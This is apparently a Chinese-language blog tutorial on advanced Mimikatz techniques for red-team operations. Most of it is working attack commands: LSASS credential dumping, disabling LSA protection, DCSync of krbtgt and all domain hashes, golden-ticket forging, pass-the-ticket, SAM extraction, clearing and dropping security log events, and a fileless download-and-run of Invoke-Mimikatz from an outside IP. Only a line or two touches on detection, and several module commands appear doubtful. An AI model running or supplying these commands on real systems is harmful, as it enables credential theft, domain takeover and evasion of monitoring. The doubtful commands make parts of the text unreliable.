当大多数安全从业者还在用sekurlsa::logonpasswords抓取密码时,真正的高手已经在组合使用Mimikatz的二十多个模块进行精确打击。本文将带你突破基础用法,深入探索那些被低估的模块在真实攻防中的高阶应用。
Mimikatz的模块化设计使其成为Windows安全领域的瑞士军刀。不同于简单的命令行工具,它的每个模块都针对特定的Windows安全子系统:
bash复制# 标准模块加载示例
mimikatz # standard::base64 "secret"
mimikatz # crypto::cert "C:\cert.pfx"
核心子系统交互原理:
sekurlsa:直接与LSASS进程内存交互kerberos:操作Kerberos票证缓存lsadump:访问本地安全机构(LSA)机密dpapi:解密数据保护API存储内容注意:所有敏感操作都需要先执行
privilege::debug获取调试权限
常规的logonpasswords只是开始,这些进阶用法更值得掌握:
bash复制# 提取特定登录会话的详细信息
sekurlsa::tickets /export /sid:S-1-5-21-*
# 获取RDP连接历史记录
sekurlsa::rdg /inject
# 提取智能卡凭据
sekurlsa::scav /target:smartcard
内存提取对比表:
| 技术 | 适用场景 | 隐蔽性 | 所需权限 |
|---|---|---|---|
| Procdump+离线分析 | 高版本Windows | 低 | 管理员 |
| 直接LSASS读取 | 未启用LSA保护 | 中 | 管理员 |
| 进程注入 | 绕过防护 | 高 | SYSTEM |
现代系统默认启用的防护措施:
powershell复制# 检查LSA保护状态
reg query HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
# 临时禁用保护(需重启)
reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f
绕过方案对比:
mimidrv.sys内核模块解除保护bash复制# 获取KDC密钥(需域控权限)
lsadump::dcsync /domain:contoso.com /user:krbtgt
# 生成黄金票据
kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-... /krbtgt:hash /ptt
关键参数解析:
/ptt:直接将票据注入当前会话/startoffset:设置票据生效时间/endin:控制票据有效期bash复制# 导出当前会话所有票据
kerberos::list /export
# 在目标机器注入票据
kerberos::ptt admin.kirbi
实战技巧:结合
net::share模块可自动发现可访问的网络资源
bash复制# 获取单个用户凭据
lsadump::dcsync /domain:contoso.com /user:sqlservice
# 导出整个域的用户哈希
lsadump::dcsync /domain:contoso.com /all /csv
防御检测要点:
GetNCChanges请求频率bash复制# 本地SAM提取(需SYSTEM权限)
token::elevate
lsadump::sam
# 从注册表备份提取
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
lsadump::sam /sam:sam.hive /system:system.hive
bash复制# 清除安全日志
event::clear /log:security
# 删除特定事件ID
event::drop /id:4624 /count:10
powershell复制# 使用合法进程加载
Invoke-ReflectivePEInjection -PEBytes $mimikatzBytes -ProcName lsass.exe
# 无文件执行
iex (New-Object Net.WebClient).DownloadString('http://1.2.3.4/Invoke-Mimikatz.ps1')
反检测策略对比:
| 技术 | 优点 | 缺点 | 检测难度 |
|---|---|---|---|
| 进程注入 | 无磁盘痕迹 | 需高权限 | 中 |
| 合法工具滥用 | 白名单绕过 | 行为异常 | 高 |
| 硬件级加载 | 难以追踪 | 实现复杂 | 极高 |
在最近的一次红队评估中,我们组合使用kerberos::golden和vault::cred模块,成功在不触发任何告警的情况下获取了域管理权限。关键点在于精确控制票据的有效时间窗口,并利用合法的管理协议进行横向移动。